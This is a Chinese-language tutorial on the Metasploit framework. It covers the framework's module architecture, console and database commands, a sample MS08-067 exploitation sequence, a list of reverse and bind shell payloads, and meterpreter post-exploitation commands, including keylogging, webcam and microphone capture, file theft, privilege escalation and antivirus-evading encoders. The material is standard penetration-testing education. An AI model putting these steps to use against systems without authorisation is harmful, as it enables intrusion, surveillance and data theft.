1.Metasploit介紹與基本命令


Metasploit體系框架介紹

 

Metasploit是目前世界上領先的滲透測試工具,也是信息安全與滲透測試領域最大的開源項目之一。它徹底改變了我們執行安全測試的方式。

Metasploit之所以流行,是因為它可以執行廣泛的安全測試任務,從而簡化滲透測試的工作。Metasploit適用於所有流行的操作系統,但Kali Linux是最受歡迎的操作系統,第一、它預裝了幾乎所有實用滲透測試工具,降低了使用成本,其次它是基於Linux的操作系統,具有可靠的穩定性和安全性。

 

Metasploit滲透框架(Metasploit Framework)是一個免費的、開源的滲透測試框架,由H.D.Moore在2003年發布,后來被Rapid7收購。當前穩定版本是使用Ruby語言編寫的。它擁有世界上最大的滲透測試攻擊數據庫,每年超過100萬次的下載。它也是迄今為止使用Ruby構建的最復雜的項目之一。

 

 

 

 

 

Metasploit設計是盡可能采用模塊化的理念;在基礎庫的基礎上,提供了一些核心框架功能的支持;實現滲透測試的功能的主體代碼則以模塊化方式組織,並按照不同用途分為6種類型模塊;為了擴充metasploit框架對滲透測試全過程的支持功能特性,metasploit的滲透測試功能還引入了插件機制,支持將外部的安全工具集成到框架中;metasploit框架對集成模塊與插件,通過用戶接口與功能程序提供給滲透測試者進行使用。

 

 

 

 

 

 

 

 

1.  Libraries(基礎庫文件)

 

 metasploit基礎庫文件位於源碼根目錄路徑下的libraries目錄中,包括Rex,framework-core和framework-base三部分。

Rex庫1)最基礎的組件,如包裝的網絡套接字、網絡應用協議客戶端與服務端實現、日志子系統、滲透攻擊支持例程、PostgreSQL以及MySQL數據庫支持等;

framework-core庫負責實現所有與各種類型的上層模塊及插件的交互接口;

framework-base庫擴展了framework-core,提供更加簡單的包裝例程,並為處理框架各個方面的功能提供了一些功能類,用於支持用戶接口與功能程序調用框架本身功能及框架集成模塊;

 

 2. modules(模塊)

 

模塊是通過Metasploit框架所裝載、集成並對外提供的最核心的滲透測試功能實現代碼。按照在滲透測試過程各個環節中所具有的不同用途,分為

1)輔助模塊(Anxiliary):輔助模塊為信息檢索提供各種掃描程序。其中包括登錄掃描器、漏洞掃描器、網絡嗅探和端口掃描器;

2)滲透攻擊模塊(Exploiits):這個模塊包含用於利用漏洞的程序和腳本,Metasploit有超過1700個漏洞利用程序。

3)后滲透攻擊模塊(Post):用於支持在滲透攻擊取得目標系統遠程控制權后,在受控系統中進行各式各樣的后滲透攻擊動作,如獲取敏感信息、實施跳板攻擊等

4)攻擊載荷模塊(Payloads):它主要用於建立攻擊者和受害者機器直接的連接,Metasploit有超過500個有效攻擊載荷。

5)空指令模塊(Nops):用來在攻擊載荷中添加空指令區,以提高攻擊可靠性的組件。

6)編碼器模塊(Encoders):確保攻擊載荷中不會出現滲透攻擊過程中應加以避免出現的壞字符”。為了使有效載荷在IDS入侵檢測/IPS入侵防御系統或反病毒程序下能不被發現,對攻擊載荷進行“免殺”處理。

這些模塊都擁有非常清晰的結構和一個預先定義好的接口,可以被裝載到Metasploit框架中,並可組合支持信息搜集、滲透攻擊與后滲透攻擊拓展等滲透測試任務。

 

3. 插件(plugins

 

Metasploit框架的插件是一類定義比較松散,能夠擴充框架的功能,或者組裝已有功能構成高級特性的組件。插件可以集成現有的一些外部安全工具,如Nessus、OpenVAS漏洞掃描器等,為用戶接口提供一些新的功能命令、記錄所有的網絡記錄或提供創新的滲透測試功能。

 

4. 接口(interfaces

 

Metasploit框架提供了多種用戶使用接口,包括msfconsole控制台終端、msfcli命令行、msfgui圖形化界面、armitage圖形化界面以及msfapi遠程調用接口等。

 

 

5. 功能程序

 

Metasploit還提供了一系列可直接運行的功能程序,支持滲透測試者與安全研究人員快速地利用Metasploit框架內部能力完成一些特定任務。比如msfpayload、msfencode和msfvenom可以將攻擊載荷封裝為可執行文件、C語言、JavaScript語言等多種形式,並可以進行各種類型的編碼。

 

 

Metasplot基本步驟及命令詳解

 

1.Linux metasploit安裝及使用

 

1.1 終端輸入msfconsole,啟動metasploit

 

MSF終端是Metasploit功能最強大、最豐富的用戶接口。

show Auxiliary/Exploits/Payloads 列出metasploit框架中的所有輔助/滲透攻擊模塊/攻擊載荷。

 

1.2 msf>help

 

核心命令

Cd                       更改當前的工作目錄

Sessions            轉儲會話列表並顯示有關會話的信息

Color                          切換顏色

Set                      將特定於上下文的變量設置為一個值

Connect            連接與主機通信

Setg                   將全局變量設置為一個值

exit                    退出控制台

sleep                           在指定的秒數內不做任何事情

get                      獲取特定於上下文的變量的值

spool                          將控制台輸出寫入文件以及屏幕

getg                   獲取全局變量的值

threads             線程查看和操作后台線程

grep grep        另一個命令的輸出

unload              卸載框架插件

history             顯示命令歷史

unset                 取消設置一個或多個特定於上下文的變量

irb                       進入irb腳本模式

unsetg               取消設置一個或多個全局變量

load                   加載一個框架插件

version              顯示框架和控制台庫版本號

quit                            退出控制台

route                          通過會話路由流量

save                   保存活動的數據存儲

 

1.3  數據庫后端命令

 

db_connect                     連接到現有的數據庫

db_disconnect                斷開與當前數據庫實例的連接

db_export                        導出包含數據庫內容的文件

db_import                         導入掃描結果文件(文件類型將被自動檢測)

db_nmap                           執行nmap並自動記錄輸出

db_rebuild_cache                   重建數據庫存儲的模塊高速緩存

db_status                                    顯示當前的數據庫狀態

hosts                                            列出數據庫中的所有主機

loot                                      列出數據庫中的所有戰利品

notes                                   列出數據庫中的所有筆記

services                              列出數據庫中的所有服務

vulns                                  列出數據庫中的所有漏洞

workspace                                  在數據庫工作區之間切換

 

 

1.4  模塊命令

 

Advanced                          顯示一個或多個模塊的高級選項

Back                           從當前上下文返回

Edit                             使用首選編輯器編輯當前模塊

info                                    顯示有關一個或多個模塊的信息

loadpath                   路徑從路徑搜索並加載模塊

options                      顯示全局選項或一個或多個模塊

popm                         將最新的模塊從堆棧中彈出並使其處於活動狀態

previous                            將之前加載的模塊設置為當前模塊

pushm                      將活動或模塊列表推入模塊堆棧

reload_all                           從所有定義的模塊路徑重新加載所有模塊

search                       搜索模塊名稱和描述

show                                   顯示給定類型的模塊或所有模塊

use                              按名稱選擇模塊

 

 

1.5 工作命令

 

Handler                      作為作業啟動負載處理程序

Jobs                            顯示和管理作業

Kill                               殺死一個工作

Rename_job            重命名作業

 

 

1.6.查找metasploit框架中所有的滲透攻擊和其他模塊:

 

search[模塊名]

search ms08-067

 

 

1.7.選擇並加載模塊:

 

use exploit/windows/smb/ms08_067_netapi

 info展示出制定滲透攻擊或模塊的相關信息。

 

 

1.8.設置攻擊載荷:

 

set payload windows/meterpreter/bind_tcp

 

常用payload

Linux:

 

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

 linux/x86/shell_reverse_tcp

linux/x64/shell_reverse_tcp

 linux/x64/shell_bind_tcp

 

 

Windows:

 

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/shell reverse_tcp

windows/shell_ bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell reverse_tcp

windows/x64/shell_bind_tcp

 

 

 

注意:

含有x64只適用目標服務器為64位操作系統的,沒有x64或者使用x86的只適用32位操作系統;含有meterpreter的模塊會反彈meterpreter_shel,而普通的shell模塊只會反彈普通的shell(反彈結果跟nc類似);

reverse_tcp(反向連接)表示木馬會主動連接目標服務器,bind_tcp(正向連接)表示木馬會監聽本地的端口,等待攻擊者連接。這里所說的連接一般是指tcp的某個端口。因此在生成木馬前,需要先判斷當前環境,適合正向連接木馬還是反向連接的木馬。

 

 

 

1.9.查看需要設置的配置參數:

 

show options

 

1.10  設置配置參數(ip或端口):

 

set XXXX xxxxxx

 

1.11 開始攻擊:

 

exploit或run;

 

等待目標上鈎,獲得shel之后,就可以通過命令獲取目標機器的信息和控制其機器

 

sessions 列出所有可用的交互會話

 

Sessions  –l  1進入1號會話

 

打開meterpreter使用幫助:help

 

比如:getuid命令查看權限,驗證內網滲透成功

 

 

1.12  核心命令

 

Background     -將當前會話移動到背景

Bgkill                     -殺死一個背景meterpreter 腳本

Bglist                     -提供所有正在運行的后台腳本的列表

Bgrun                   -作為一個后台線程運行腳本

Channel               -顯示活動頻道

Close                     -關閉通道

Exit                        -終止meterpreter會話

Help                      -幫助菜單

Info                       -查看詳細信息

Irb                         -進入Ruby 腳本模式

Migrate                -移動到一個指定的PID的活動進程

Quit                       -終止meterpreter會話

Read                     -從通道讀取數據

Run                       -執行以后它選定的meterpreter 腳本

Use                        -加載meterpreter的擴展

Write                    -將數據寫入到一個通道

 

 

 

1.13 文件系統命令

 

Cat                        -讀取並輸出到標准輸出文件的內容

Cd                          -更改目錄對受害人

Del                         -刪除文件對受害人

Download           -從受害者系統文件下載

Search                           -在目標主機文件系統上查找搜索文件例如:search-d c\\-f

*.doc                    在目標主機C盤下搜索doc文檔

Edit                       -用vim編輯文件I

Getlwd                 -打印本地目錄

Getwd                  -打印工作目錄

Icd                         -更改本地目錄

Lpwd                    -打印本地目錄

lS                           -列出在當前目錄中的文件列表

mkdir                    -在受害者系統上的創建目錄

pwd                      -輸出工作目錄

rm                         -刪除文件

rmdir                    -受害者系統上刪除目錄

Upload                 -從攻擊者的系統往受害者系統上傳文件

 

 

 

 

1.14  網絡命令

 

Ipconfig                       -顯示網絡接口的關鍵信息,包括IP地址、等。

Portfwd                        -端口轉發例如:portfwd add-11122-p3389-r 192.168.250.176把目標主機192.168.250.176的3389端口轉發到1122端口

Route                            -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1會話加入指定網段

Arp                                 -顯示主機ARP緩存

Getproxy                      -顯示當前代理配置

Netstat                          -顯示網絡連接

 

 

1.15  提權命令

 

Getsystem                   -獲得系統管理員權限

 

1.16  用戶界面命令

 

Enumdesktops                    -列出所有可訪問台式機

Getdesktop                                   -獲取當前的meterpreter桌面

Idletime                                 -檢查長時間以來,受害者系統空閑進程

keyscan_dump                   -鍵盤記錄軟件的內容轉儲

keyscan_start                      -啟動時與如Word或瀏覽器的進程相關聯的鍵盤記錄軟件

keyscan_stop                      -停止鍵盤記錄軟件

screenshot                            -抓去meterpreter 桌面的屏幕截圖

record_mic                           -音頻錄制

webcam_chat                    -查看攝像頭接口

webcam_list                         -查看攝像頭列表

webcam_stream                          -攝像頭視頻獲取

set_desktop                         -更改meterpreter 桌面

Uictl                                        -啟用用戶界面組件的一些控件

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM